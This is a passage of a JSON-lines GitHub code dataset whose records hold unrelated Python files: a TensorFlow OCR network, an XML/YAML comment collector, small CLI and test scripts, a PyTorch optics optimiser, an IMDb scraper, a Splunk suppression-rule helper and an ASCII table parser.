pool_size=3, strides=[2,1], padding='SAME', name='pool2')\n print(inputs.get_shape)\n\n inputs = tf.layers.conv2d(inputs=inputs, filters=384, padding='SAME', kernel_size=3, strides=1,\n activation=tf.nn.relu, name='conv3')\n inputs = batch_norm_relu(inputs, is_training)\n print(inputs.get_shape)\n\n inputs = tf.layers.conv2d(inputs=inputs, filters=384, padding='SAME', kernel_size=3, strides=1,\n activation=tf.nn.relu, name='conv4')\n inputs = batch_norm_relu(inputs, is_training)\n print(inputs.get_shape)\n\n inputs = tf.layers.conv2d(inputs=inputs, filters=256, padding='SAME', kernel_size=3, strides=1,\n activation=tf.nn.relu, name='conv5')\n inputs = batch_norm_relu(inputs, is_training)\n print(inputs.get_shape)\n\n inputs = tf.layers.max_pooling2d(inputs, pool_size=3, padding='SAME', strides=[2,1], name='pool3')\n print(inputs.get_shape)\n\n inputs = tf.layers.conv2d(inputs=inputs, filters=512, kernel_size=[2, 2], strides=1, padding='VALID',\n use_bias=False, kernel_initializer=tf.variance_scaling_initializer(), name='conv7')\n inputs = batch_norm_relu(inputs, is_training)\n print(inputs.get_shape)\n\n with tf.variable_scope('Reshaping_cnn'):\n shape = inputs.get_shape().as_list() # [batch, height, width, features]\n inputs = tf.transpose(inputs, perm=[0, 2, 1, 3],\n name='transposed') # [batch, width, height, features] 128*1*75*512 -> 128*75*1*512\n inputs = tf.reshape(inputs, [shape[0], -1, shape[1] * shape[3]],\n name='reshaped') # [batch, width, height x features] 128*75*1*512 -> 128*75*512\n print(inputs.get_shape)\n return inputs\n","repo_name":"WenmuZhou/Segmentation-Free_OCR","sub_path":"src/alexnet.py","file_name":"alexnet.py","file_ext":"py","file_size_in_byte":3024,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"}
+{"seq_id":"985540043","text":"from typing import List, Type, Any, Tuple, Union, Dict\nfrom pynxtools.nyaml2nxdl.nyaml2nxdl_helper import LineLoader\n\n__all__ = ['Comment', 'CommentCollector', 'XMLComment', 'YAMLComment']\n\n\n# pylint: disable=inconsistent-return-statements\nclass CommentCollector:\n \"\"\"CommentCollector will store a full comment ('Comment') object in\n _comment_chain.\n \"\"\"\n\n def __init__(self, input_file: str = None,\n loaded_obj: Union[object, Dict] = None):\n \"\"\"\n Initialise CommentCollector\n parameters:\n input_file: raw input file (xml, yml)\n loaded_obj: file loaded by third party library\n \"\"\"\n self._comment_chain: List = []\n self.file = input_file\n self._comment_tracker = 0\n self._comment_hash: Dict[Tuple, Type[Comment]] = {}\n self.comment: Type[Comment]\n if self.file and not loaded_obj:\n if self.file.split('.')[-1] == 'xml':\n self.comment = XMLComment\n if self.file.split('.')[-1] == 'yaml':\n self.comment = YAMLComment\n with open(self.file, \"r\", encoding=\"utf-8\") as plain_text_yaml:\n loader = LineLoader(plain_text_yaml)\n self.comment.__yaml_dict__ = loader.get_single_data()\n elif self.file and loaded_obj:\n if self.file.split('.')[-1] == 'yaml' and isinstance(loaded_obj, dict):\n self.comment = YAMLComment\n self.comment.__yaml_dict__ = loaded_obj\n else:\n raise ValueError(\"Incorrect inputs for CommentCollector e.g. Wrong file extension.\")\n\n else:\n raise ValueError(\"Incorrect inputs for CommentCollector\")\n\n def extract_all_comment_blocks(self):\n \"\"\"\n Collect all comments. Note that here comment means (comment text + element or line info\n intended for comment.\n \"\"\"\n id_ = 0\n single_comment = self.comment(comment_id=id_)\n with open(self.file, mode='r', encoding='UTF-8') as enc_f:\n lines = enc_f.readlines()\n # Make an empty line for last comment if no empty lines in original file\n if lines[-1] != '':\n lines.append('')\n for line_num, line in enumerate(lines):\n if single_comment.is_storing_single_comment():\n # If the last comment comes without post nxdl fields, groups and attributes\n if '++ SHA HASH ++' in line:\n # Handle with stored nxdl.xml file that is not part of yaml\n line = ''\n single_comment.process_each_line(line + 'post_comment', (line_num + 1))\n self._comment_chain.append(single_comment)\n break\n if line_num < (len(lines) - 1):\n # Processing file from Line number 1\n single_comment.process_each_line(line, (line_num + 1))\n else:\n # For processing last line of file\n single_comment.process_each_line(line + 'post_comment', (line_num + 1))\n self._comment_chain.append(single_comment)\n else:\n self._comment_chain.append(single_comment)\n single_comment = self.comment(last_comment=single_comment)\n single_comment.process_each_line(line, (line_num + 1))\n\n def get_comment(self):\n \"\"\"\n Return comment from comment_chain that must come earlier in order.\n \"\"\"\n return self._comment_chain[self._comment_tracker]\n\n def get_coment_by_line_info(self, comment_locs: Tuple[str, Union[int, str]]):\n \"\"\"\n Get comment using line information.\n \"\"\"\n if comment_locs in self._comment_hash:\n return self._comment_hash[comment_locs]\n\n line_annot, line_loc = comment_locs\n for cmnt in self._comment_chain:\n if line_annot in cmnt:\n line_loc_ = cmnt.get_line_number(line_annot)\n if line_loc == line_loc_:\n self._comment_hash[comment_locs] = cmnt\n return cmnt\n\n def remove_comment(self, ind):\n \"\"\"Remove a comment from comment list.\n \"\"\"\n if ind < len(self._comment_chain):\n del self._comment_chain[ind]\n else:\n raise ValueError(\"Oops! Index is out of range.\")\n\n def reload_comment(self):\n \"\"\"\n Update self._comment_tracker after done with last comment.\n \"\"\"\n self._comment_tracker += 1\n\n def __contains__(self, comment_locs: tuple):\n \"\"\"\n Confirm wether the comment corresponds to key_line and line_loc\n is exist or not.\n comment_locs is equvalant to (line_annotation, line_loc) e.g.\n (__line__doc and 35)\n \"\"\"\n if not isinstance(comment_locs, tuple):\n raise TypeError(\"Comment_locs should be 'tuple' containing line annotation \"\n \"(e.g.__line__doc) and line_loc (e.g. 35).\")\n line_annot, line_loc = comment_locs\n for cmnt in self._comment_chain:\n if line_annot in cmnt:\n line_loc_ = cmnt.get_line_number(line_annot)\n if line_loc == line_loc_:\n self._comment_hash[comment_locs] = cmnt\n return True\n return False\n\n def __getitem__(self, ind):\n \"\"\"Get comment from self.obj._comment_chain by index.\n \"\"\"\n if isinstance(ind, int):\n if ind >= len(self._comment_chain):\n raise IndexError(f'Oops! Comment index {ind} in {__class__} is out of range!')\n return self._comment_chain[ind]\n\n if isinstance(ind, slice):\n start_n = ind.start or 0\n end_n = ind.stop or len(self._comment_chain)\n return self._comment_chain[start_n:end_n]\n\n def __iter__(self):\n \"\"\"get comment ieratively\n \"\"\"\n return iter(self._comment_chain)\n\n\n# pylint: disable=too-many-instance-attributes\nclass Comment:\n \"\"\"\n This class is building yaml comment and the intended line for what comment is written.\n \"\"\"\n\n def __init__(self,\n comment_id: int = -1,\n last_comment: 'Comment' = None) -> None:\n \"\"\"Comment object can be considered as a block element that includes\n document element (an entity for what the comment is written).\n \"\"\"\n self._elemt: Any = None\n self._elemt_text: str = None\n self._is_elemt_found: bool = None\n self._is_elemt_stored: bool = None\n\n self._comnt: str = ''\n # If Multiple comments for one element or entity\n self._comnt_list: List[str] = []\n self.last_comment: 'Comment' = last_comment if last_comment else None\n if comment_id >= 0 and last_comment:\n self.cid = comment_id\n self.last_comment = last_comment\n elif comment_id == 0 and not last_comment:\n self.cid = comment_id\n self.last_comment = None\n elif last_comment:\n self.cid = self.last_comment.cid + 1\n self.last_comment = last_comment\n else:\n raise ValueError(\"Neither last comment nor comment id dound\")\n self._comnt_start_found: bool = False\n self._comnt_end_found: bool = False\n self.is_storing_single_comment = lambda: not (self._comnt_end_found\n and self._is_elemt_stored)\n\n def get_comment_text(self) -> Union[List, str]:\n \"\"\"\n Extract comment text from entrire comment (comment text + elment or\n line for what comment is intended)\n \"\"\"\n\n def append_comment(self, text: str) -> None:\n \"\"\"\n Append lines of the same comment.\n \"\"\"\n\n def store_element(self, args) -> None:\n \"\"\"\n Strore comment text and line or element that is intended for comment.\n \"\"\"\n\n\nclass XMLComment(Comment):\n \"\"\"\n XMLComment to store xml comment element.\n \"\"\"\n\n def __init__(self, comment_id: int = -1, last_comment: 'Comment' = None) -> None:\n super().__init__(comment_id, last_comment)\n\n def process_each_line(self, text, line_num):\n \"\"\"Take care of each line of text. Through which function the text\n must be passed should be decide here.\n \"\"\"\n text = text.strip()\n if text and line_num:\n self.append_comment(text)\n if self._comnt_end_found and not self._is_elemt_found:\n # for multiple comment if exist\n if self._comnt:\n self._comnt_list.append(self._comnt)\n self._comnt = ''\n\n if self._comnt_end_found:\n self.store_element(text)\n\n def append_comment(self, text: str) -> None:\n # Comment in single line\n if '' == text[-4:]:\n self._comnt_end_found = True\n self._comnt_start_found = False\n self._comnt = self._comnt.replace('-->', '')\n\n elif '-->' == text[0:4] and self._comnt_start_found:\n self._comnt_end_found = True\n self._comnt_start_found = False\n self._comnt = self._comnt + '\\n' + text.replace('-->', '')\n elif self._comnt_start_found:\n self._comnt = self._comnt + '\\n' + text\n\n # pylint: disable=arguments-differ, arguments-renamed\n def store_element(self, text) -> None:\n def collect_xml_attributes(text_part):\n for part in text_part:\n part = part.strip()\n if part and '\">' == ''.join(part[-2:]):\n self._is_elemt_stored = True\n self._is_elemt_found = False\n part = ''.join(part[0:-2])\n elif part and '\"/>' == ''.join(part[-3:]):\n self._is_elemt_stored = True\n self._is_elemt_found = False\n part = ''.join(part[0:-3])\n elif part and '/>' == ''.join(part[-2:]):\n self._is_elemt_stored = True\n self._is_elemt_found = False\n part = ''.join(part[0:-2])\n elif part and '>' == part[-1]:\n self._is_elemt_stored = True\n self._is_elemt_found = False\n part = ''.join(part[0:-1])\n elif part and '\"' == part[-1]:\n part = ''.join(part[0:-1])\n\n if '=\"' in part:\n lf_prt, rt_prt = part.split('=\"')\n else:\n continue\n if ':' in lf_prt:\n continue\n self._elemt[lf_prt] = str(rt_prt)\n if not self._elemt:\n self._elemt = {}\n # First check for comment part has been collected prefectly\n if '' == text[0:2]:\n pass\n elif '<' == text[0] and not ' \", e)\n sys.exit(Program_Help)\n\n text = DEFAULT_TEXT\n prints = DEFAULT_PRINTS\n if options:\n for (opt, args) in options[0]:\n\n #Help options\n if opt in (\"-h\", \"--help\"):\n sys.exit(Program_Help())\n #Text option\n if opt in (\"-t\", \"--text\"):\n text = args\n #Print options\n try:\n \n if opt in (\"-p\", \"--prints\"):\n prints = int(args)\n\n except ValueError as e:\n print(\"ERROR: wrong value used. MUST BE AN INT --> \", e)\n sys.exit(Program_Help())\n \n return text, prints\n\n\nDEFAULT_TEXT = \"Hello World!\"\nDEFAULT_PRINTS = 1\ncustom_text, custom_prints = get_arguments()\nfor i in range(custom_prints):\n print(custom_text)\n","repo_name":"Samerkia/Projects","sub_path":"Python/CMD-input/CMD-inputs.py","file_name":"CMD-inputs.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38875779825","text":"import sys\nfrom unittest.mock import patch\n\nfrom i3_workspace_names_daemon import main\nfrom mocks import AttrDict, MockLeaf, MockWorkspace, MockTree, MockI3\nfrom pytest import raises\nimport i3ipc\n\n\n@patch.object(sys, 'argv', ['i3_workspace_names_daemon', '-c', 'tests/test-config.json'])\ndef test_main(monkeypatch):\n monkeypatch.setattr(i3ipc, 'Connection', lambda: MockI3(\n MockWorkspace(1, MockLeaf(\"firefox\")),\n MockWorkspace(2, MockLeaf(\"chromium-browser\")),\n ))\n main()\n\n\n@patch.object(sys, 'argv', ['i3_workspace_names_daemon', '-v', '-c', 'tests/test-config.json'])\ndef test_verbose_startup(monkeypatch, capsys):\n monkeypatch.setattr(i3ipc, 'Connection', lambda: MockI3(\n MockWorkspace(1, MockLeaf(\"firefox\")),\n MockWorkspace(2, MockLeaf(\"chromium-browser\")),\n ))\n main()\n cap = capsys.readouterr()\n assert '-> name: firefox' in cap.out\n assert 'rename workspace \"\" to \"1: \"' in cap.out\n\n\n@patch.object(sys, 'argv', ['i3_workspace_names_daemon', '-c', 'asd'])\ndef test_config(monkeypatch):\n monkeypatch.setattr(i3ipc, 'Connection', lambda: MockI3(\n MockWorkspace(1, MockLeaf(\"firefox\")),\n MockWorkspace(2, MockLeaf(\"chromium-browser\")),\n ))\n with raises(SystemExit) as ex:\n main()\n assert \"Specified app-icon config path 'asd' does not exist\" in str(ex)\n","repo_name":"i3-workspace-names-daemon/i3-workspace-names-daemon","sub_path":"tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"}
+{"seq_id":"10280517553","text":"import torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport math\nimport numpy as np\nimport scipy.io as sio\nimport scipy.io as sio \nimport matplotlib.pyplot as plt \nfrom matplotlib.pyplot import *\n\ndef getIntensity_th_v2( td, n, mf, props, if_avg = True ):\n ''' \n Get I0 using diffusion approximation and dipole solution\n Inputs:\n td - an array of delays\n n - # of cols of the projected line (== # of cols of images for simulation)\n props - [D, beta] : the optical properties for the homogenous medium\n mf - the metric size (mm) of one pixel\n the magnification factors in different dimensions [mf_uv, mf_st, mf_z ], \n magnification factors in the uv, st (camera coordinate) dimensions\n ''' \n Reff = 0.496\n z0 = 3 * props[0]\n zb = (1+Reff)/(1-Reff)*2* props[0];\n zv = z0+4*props[0]\n t = n/2 * mf[1] \n V = torch.arange(0, n).type_as(props) * mf[0] \n V = V.to( props.device ).unsqueeze(0)\n\n # TODO: is 0.5 here needed in order to make the optimization of homogeneous parameter to work ?\n RSD1 = torch.sqrt(( td.unsqueeze(1) * mf[1] )**2 + (V - t)**2 + (3 * props[0] - 0.5)**2 ) \n RSD2 = torch.sqrt(( td.unsqueeze(1) * mf[1] )**2 + (V - t)**2 + (-3 * props[0] -2* 2*props[0]-0.5 )**2)\n\n #Phi0 = 1/( 4*math.pi) \\\n #*( z0*(props[1]*RSD1+1)*torch.exp(-props[1]*RSD1)/(RSD1**3) + zv*(props[1]*RSD2+1)*torch.exp(-props[1]*RSD2)/(RSD2**3))\n Phi0 = props[2]/( 4*math.pi * props[0] ) \\\n * ( torch.exp( -props[1] * RSD1) / RSD1 - torch.exp( -props[1]*RSD2 ) / RSD2 ) \n if if_avg:\n I0 = torch.mean( Phi0, dim=1 )\n else:\n I0 = torch.sum( Phi0, dim=1 )\n \n \n return I0\n\n\ndef opt_scatter_prop_homo(R_m, props, Tds, n_col, mf, step, max_iter=500, Td_mask = None):\n '''\n R_m - 1D vector of measurements for homogeneous region \n '''\n\n props_opt = props.cuda().requires_grad_()\n optimizer = optim.Adam([props_opt], lr = step, betas= (.9, .99)) \n Tds_gpu = Tds.type_as(R_m).cuda() \n\n print() \n for it in range( max_iter ):\n optimizer.zero_grad() \n R_d = getIntensity_th_v2(Tds_gpu, n_col, mf, props_opt , if_avg = True) \n\n diff_imgs = R_d - R_m \n\n if Td_mask is not None:\n diff_imgs = diff_imgs * Td_mask \n\n loss = (diff_imgs**2).sum().sqrt()\n loss.backward()\n optimizer.step() \n print( 'iter: %d/%d, loss: %.5f'%(it, max_iter, loss.data.cpu().numpy() ), end='\\r' ) \n\n print()\n\n return props_opt\n \ndef main():\n max_iter = 1\n max_iter_props = 5000\n max_iter_Q = 300\n step_props = .001 \n step_Q = .001 # .0001\n \n N = 100\n Nz = 33\n\n\n Nr, Nc = N, N\n Nxy = N \n\n mf = torch.FloatTensor([1, 1, 1])\n\n fname = '/home/akm8/Diffuse_Model/diff_reflectance.mat' \n mat = sio.loadmat(fname) \n R_m = mat['Intensity'].flatten()\n Tds = torch.FloatTensor(mat['dTs']).flatten()\n R_m = torch.FloatTensor(R_m).cuda()\n \n props_init = torch.FloatTensor([0.34192, 0.1571, 0.08792]).cuda()\n \n td_min, td_max = 5, 45\n Td_mask = torch.zeros(len(Tds))\n Td_mask[td_min:td_max] = 1 \n Td_mask = Td_mask.cuda()\n \n # opt loop #\n for it in range(0, max_iter):\n # optimize for scatter props #\n print('\\n')\n print('---------')\n print('iteration: %d of %d: \\n'%( it+1, max_iter ))\n\n # optimize for scatter properties # \n print('\\nopt. scattering props ...')\n props_init_ = props_init.clone() \n \n opt_paras = opt_scatter_prop_homo(\\\n R_m, props_init, Tds, Nxy,mf, \n step= step_props * (.9)**it,\n max_iter = max_iter_props, Td_mask = Td_mask).detach() \n\n print( \"init props: %.5f, %.5f, %.5f\"%( props_init_[0], props_init_[1], props_init_[2] ) )\n print( \"opt props: %.5f, %.5f, %.5f\"%( opt_paras[0], opt_paras[1], opt_paras[2]) )\n print('\\nopt. scattering props done')\n\n print('** \\n')\n\nif __name__ == '__main__':\n main()","repo_name":"akashmaity/HighResolutionDOT","sub_path":"opt_param.py","file_name":"opt_param.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24560210389","text":"import json\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\n\nurl = \"https://www.imdb.com/search/title/?groups=top_100&sort=user_rating,desc\"\npage = urlopen(url)\nhtml = page.read().decode(\"utf-8\")\nsoup = BeautifulSoup(html, \"html.parser\")\n\nmovie_elems = soup.find_all(\"div\", class_=\"lister-item\")\nmovies = []\n\nfor movie_elem in movie_elems:\n header = movie_elem.find(\"h3\", class_=\"lister-item-header\")\n title = header.find(\"a\")\n movies.append(title.text)\n\nwith open(\"../src/assets/data/movies.json\", \"w\") as f:\n json.dump(movies, f)\n","repo_name":"achung3071/cs130-liar-game","sub_path":"webscraping/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"28820871931","text":"from torch.utils.data import DataLoader\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\nimport fetch_data\n\nfrom tabular_dataset import TabularDataset\nfrom preprocess_data import get_bounds, get_weights, normalize\n\n\ndef get_train_test_dataset(settings, dataset_name, test_size=None, train_size=None, seed=0, transform=None, target_transform=None):\n \"\"\"\n Get train-test split dataset.\n :param settings: General settings\n :param dataset_name: Name of the requested dataset from OpenML\n :param test_size: Size of test samples.\n :param train_size: Size of train samples.\n :param seed: Random seed\n :param transform: Transformation to apply to the data\n :param target_transform: Transformation to apply to the target\n :return: Train dataset and Test datasets as TabularDatasets.\n \"\"\"\n dataframe, target, features = fetch_data.get_df(dataset_name)\n\n # Compute the bounds for clipping\n bounds = get_bounds(dataframe)\n\n # Normalize the data\n scaler, dataframe, bounds = normalize(dataframe, target, features, bounds, settings['scale_max'])\n\n\n # Compute the weights modelizing the expert's knowledge\n weights = get_weights(dataframe, target)\n\n train_df, test_df = train_test_split(dataframe.astype(np.float32), test_size=test_size, train_size=train_size,\n random_state=seed, shuffle=True)\n\n settings['TrainData'] = train_df\n settings['TestData'] = test_df\n settings['Target'] = target\n settings['FeatureNames'] = features\n settings['Weights'] = weights\n settings['Bounds'] = bounds\n\n train_dataset = TabularDataset(train_df, features, target, True, transform, target_transform)\n test_dataset = TabularDataset(test_df, features, target, False, transform, target_transform)\n return train_dataset, test_dataset\n\n\ndef get_credit_g_dataloaders(settings):\n credit_g = 'credit-g'\n credit_g_train, credit_g_test = get_train_test_dataset(settings, credit_g, test_size=300)\n train_dataloader = DataLoader(credit_g_train, batch_size=settings['batch_size'], shuffle=True)\n test_dataloader = DataLoader(credit_g_test, batch_size=len(credit_g_test))\n d_in, d_out = credit_g_train.get_dimensions()\n return train_dataloader, test_dataloader, (d_in, d_out)\n","repo_name":"Galivan/TabSec","sub_path":"dataset_factory.py","file_name":"dataset_factory.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34134679103","text":"import sys\nimport os\nimport splunk\nimport splunk.auth as auth\nimport splunk.entity as entity\nimport splunk.Intersplunk as intersplunk\nimport splunk.rest as rest\nimport splunk.search as search\nimport splunk.input as input\nimport splunk.util as util\nimport urllib\nimport urllib.parse\nimport json\nimport logging\nimport time\nimport hashlib\nimport re\nimport fnmatch\n\nfrom AlertManagerLogger import setupLogger\n\nclass SuppressionHelper(object):\n\n # Setup logger\n log = setupLogger('suppression_helper')\n\n sessionKey = None\n\n def __init__(self, sessionKey):\n self.sessionKey = sessionKey\n\n def compareValue(self, test_value, comparator, pattern_value):\n self.log.debug(\"compareValue(testvalue=\\\"{}\\\", comparator=\\\"{}\\\", pattern_value=\\\"{}\\\")\".format(test_value, comparator, pattern_value))\n\n if type(test_value) is list:\n test_value = test_value[0]\n\n if type(pattern_value) is list:\n pattern_value = pattern_value[0]\n\n if comparator == \">\":\n return float(test_value) > float(pattern_value)\n elif comparator == \"<\":\n return float(test_value) < float(pattern_value)\n elif comparator == \"=\" or comparator == \"==\" or comparator == \"is\":\n return test_value == pattern_value\n elif comparator == \"!=\" or comparator == \"is not\":\n return test_value != pattern_value\n elif comparator == \"<=\":\n return float(test_value) <= float(pattern_value)\n elif comparator == \">=\":\n return float(test_value) >= float(pattern_value)\n elif comparator == \"contains\":\n return pattern_value in test_value\n elif comparator == \"does not contain\":\n return pattern_value not in test_value\n elif comparator == \"starts with\":\n return bool(re.match(\"^\" + pattern_value + \".*\", test_value))\n elif comparator == \"ends with\":\n return bool(re.match(\".*\" + pattern_value + \"$\", test_value))\n else:\n return False\n\n def checkSuppression(self, alert, context):\n self.log.info(\"Checking for matching suppression rules for alert={}\".format(alert))\n #query = '{ \"disabled\": false, \"$or\": [ { \"scope\": \"*\" } , { \"scope\": \"'+ alert +'\" } ] }'\n query = '{{ \"disabled\": false, \"$or\": [{{ \"scope\" : \"{}\"}}, {{ \"scope\": {{ \"$regex\": \"\\\\\\*\"}} }} ]}}'.format(alert)\n self.log.debug(\"Query: {}\".format(query))\n uri = '/servicesNS/nobody/alert_manager/storage/collections/data/suppression_rules?query={}'.format(urllib.parse.quote(query))\n serverResponse, serverContent = rest.simpleRequest(uri, sessionKey=self.sessionKey)\n\n if serverResponse['status'] == \"200\" and len(serverContent.decode('utf-8')) > 0:\n suppression_rules = json.loads(serverContent.decode('utf-8'))\n self.log.debug(\"Got {} suppression rule(s) matching the scope ('*' or '{}').\".format(len(suppression_rules), alert))\n self.log.debug(\"Context: {}\".format(json.dumps(context)))\n\n matching_rules = []\n unmatching_rules = []\n\n for suppression_rule in suppression_rules:\n\n # check if scope matches alert <-> suppression_rule['scope']\n if fnmatch.fnmatch(alert, suppression_rule['scope']):\n\n match_type = 'all'\n if 'match_type' in suppression_rule and suppression_rule['match_type'] != '':\n match_type = suppression_rule['match_type']\n\n self.log.debug(\"Match type: {}\".format(match_type))\n\n # iterate over rules of suppressions\n ruleset_suppression_all = True\n ruleset_suppression_any = False\n\n if \"rules\" in suppression_rule:\n for rule in suppression_rule[\"rules\"]:\n rule_suppression = False\n\n self.log.debug(\"Rule: suppression_title=\\\"{}\\\" field=\\\"{}\\\" condition=\\\"{}\\\" value=\\\"{}\\\"\".format(suppression_rule['suppression_title'], rule[\"field\"], rule[\"condition\"], rule[\"value\"]))\n\n # Parse value from results\n value_match = re.match(\"^\\$(.*)\\$$\", rule[\"value\"])\n if bool(value_match):\n value_field_name = value_match.group(1)\n if len(context[\"result\"]) > 0 and value_field_name in context[\"result\"][0]:\n rule[\"value\"] = context[\"result\"][0][value_field_name]\n else:\n self.log.warn(\"Invalid suppression rule: value field {} not found in results.\".format(value_field_name))\n\n # Parse special case \"time\"\n if rule[\"field\"] == \"_time\" or rule[\"field\"] == \"time\":\n # FIXME: Change timestamp to real timestamp from incident\n match = self.compareValue(int(time.time()), rule[\"condition\"], rule[\"value\"])\n if not match:\n rule_suppression = False\n self.log.debug(\"Rule {} didn't match.\".format(json.dumps(rule)))\n else:\n rule_suppression = True\n self.log.debug(\"Rule {} matched.\".format(json.dumps(rule)))\n\n # Parse rules refering to fields\n else:\n #field_match = re.match(\"^\\$(.*)\\$$\", rule[\"field\"])\n #field_match_result = re.match(\"^\\$result\\.(.*)\\$$\", rule[\"field\"])\n field_match = re.match(\"^\\$(result\\.)?(.*)\\$$\", rule[\"field\"])\n\n if bool(field_match):\n field_name = field_match.group(2)\n self.log.debug(\"Field name: {}\".format(field_name))\n\n if 'result' in context and field_name in context[\"result\"]:\n match = self.compareValue(context[\"result\"][field_name], rule[\"condition\"], rule[\"value\"])\n if not match:\n rule_suppression = False\n self.log.debug(\"Rule {} didn't match.\".format(json.dumps(rule)))\n else:\n rule_suppression = True\n self.log.debug(\"Rule {} matched.\".format(json.dumps(rule)))\n else:\n self.log.warn(\"Invalid suppression rule: field {} not found in result.\".format(field_name))\n\n else:\n self.log.warn(\"Suppression rule has an invalid field content format.\")\n\n # Apply suppression state for this specific rule\n if rule_suppression:\n ruleset_suppression_any = True\n\n if ruleset_suppression_all and rule_suppression:\n ruleset_suppression_all = True\n else:\n ruleset_suppression_all = False\n\n\n # Check if suppression for this ruleset was successful\n if match_type == \"all\":\n if ruleset_suppression_all:\n matching_rules.append(suppression_rule['suppression_title'])\n self.log.info(\"Suppression for rule with suppression_title='{}' was successful (match_type={}).\".format(suppression_rule['suppression_title'], match_type))\n else:\n unmatching_rules.append(suppression_rule['suppression_title'])\n self.log.info(\"Suppression for rule with suppression_title='{}' was NOT successful (match_type={}).\".format(suppression_rule['suppression_title'], match_type))\n\n if match_type == \"any\":\n if ruleset_suppression_any:\n matching_rules.append(suppression_rule['suppression_title'])\n self.log.info(\"Suppression for rule with suppression_title='{}' was successful (match_type={}).\".format(suppression_rule['suppression_title'], match_type))\n\n\n else:\n self.log.info(\"Scope from rule ({}) didn't match to alert name ({}), skipping...\".format(suppression_rule['scope'], alert))\n\n # Check if suppression was successful\n if len(matching_rules) > 0:\n self.log.info(\"Suppression successful: At least one matching suppression rule(s) was found. Matching rules : {}. Unmatching rules: {}\".format(', '.join(matching_rules), ', '.join(unmatching_rules)))\n return True, matching_rules\n else:\n self.log.info(\"Suppression failed: No matching rules found. Unmatching rules: {}\".format(', '.join(unmatching_rules)))\n return False, []\n\n else:\n self.log.debug(\"Failed to get suppression rules with query={}. Maybe no matching rules found? (status={})\".format(query, serverResponse['status']))\n return False, []\n","repo_name":"alertmanager/alert_manager","sub_path":"src/bin/lib/SuppressionHelper.py","file_name":"SuppressionHelper.py","file_ext":"py","file_size_in_byte":9608,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"78"}
+{"seq_id":"11786783118","text":"from __future__ import print_function\n\nimport numpy as np\nfrom numpy import array, zeros, ones #needed for eval\n\n\"\"\"\nan object to manage ascii files with data, metadata with different types\n\"\"\"\n\n\ndemo=\"\"\"\n#demonstration file\n#comments order will not be preserved \n#indicate metadata with key word #met\n\n#met a=\"array([1])\" \n#met b=array([1]) \n#met c=124.2\n#met d=[1,2,3]\n\n#indicate the field names, units and formating using #fld, #unt and #fmt respectively\n#fld FIELD1 FIELD2 FIELD3\n#unt km - -\n#fmt %.0f %1s %10s\n 1. A lklkj \n 2. B 123\n \n 3. C kqklj\n\"\"\"\n\n\nclass AsciiFile_fromstring(object):\n\n def __init__(self, string):\n self.metadata = {} #dictionnary with metadata evaluated from ascii file\n self.data = None #structured array, see https://docs.scipy.org/doc/numpy-1.13.0/user/basics.rec.html\n self.fields = None\n self.formats = None\n self.fmtline = \"\"\n self.units = None\n self.comments = []\n dtype = None\n for l in string.split('\\n'):\n l = l.strip()\n if l == \"\": continue\n elif l.startswith(\"#\"):\n if l.startswith(\"#met\"):\n l = l.lstrip('#met').split('#')[0]\n #key, value = [_.strip() for _ in l.split('=')]\n key = l.split('=')[0].strip()\n value = \"=\".join(l.split('=')[1:])\n self.metadata[key] = eval(value)\n elif l.startswith('#fld'):\n self.fields = np.asarray(l.lstrip(\"#fld\").split(), str)\n self.M = len(self.fields)\n elif l.startswith('#unt'):\n self.units = np.asarray(l.lstrip(\"#unt\").split(), str)\n elif l.startswith('#fmt'):\n self.formats = np.asarray(l.lstrip(\"#fmt\").split(), str)\n self.fmtline = l.replace('#fmt', \" \")\n self.types = np.empty(len(self.formats), object)\n for n, fmt in enumerate(self.formats):\n if fmt.endswith('s'):\n self.types[n] = \"S100\"\n elif fmt.endswith('f'):\n self.types[n] = float\n elif fmt.endswith('d'):\n self.types[n] = int\n else:\n raise Exception('unknown column format %s' % fmt)\n else:\n self.comments.append(l)\n\n else:\n assert self.fields is not None\n assert self.formats is not None\n dtype = [_ for _ in zip(self.fields, self.types)]\n values = tuple(l.split('#')[0].split())\n assert len(values) == self.M\n if self.data is None:\n self.data = [values]\n else:\n self.data.append(values)\n self.data = np.array(self.data, dtype=dtype)\n\n def __len__(self):\n return len(self.data)\n\n def __str__(self):\n out = \"\"\n if len(self.comments):\n out += \"\\n\".join(self.comments) + \"\\n\"\n for k, v in self.metadata.items():\n if isinstance(v, str):\n out += \"#met %s = '%s'\\n\" % (k, str(v))\n else:\n out += \"#met %s = %s\\n\" % (k, str(v))\n out += \"#fld \" + \" \".join(self.fields) + \"\\n\"\n out += \"#unt \" + \" \".join(self.units) + \"\\n\"\n out += \"#fmt \" + self.fmtline.lstrip() + \"\\n\"\n for i, line in enumerate(self.data):\n out += self.fmtline % tuple(line) + \"\\n\"\n return out\n\n def write(self, filename=None):\n if filename is None:\n print (self.__str__())\n else:\n with open(filename, 'w') as fid:\n fid.write(self.__str__())\n\n def __getitem__(self, item):\n if isinstance(item, str):\n \"item is a field name, return the column\"\n return self.data[item]\n elif isinstance(item, int):\n \"item is a row number, return the line\"\n return self.data[item]\n raise IndexError('indexing with object of type %s is not implemented' % str(type(item)))\n\n\nclass AsciiFile(AsciiFile_fromstring):\n def __init__(self, filename):\n with open(filename, 'r') as fid:\n string = \"\".join(fid.readlines())\n AsciiFile_fromstring.__init__(self, string)\n\n\nif __name__ == \"__main__\":\n a = AsciiFile_fromstring(demo)\n print(a.metadata)\n print (\"---\")\n print (a.data)\n print (\"---\")\n print 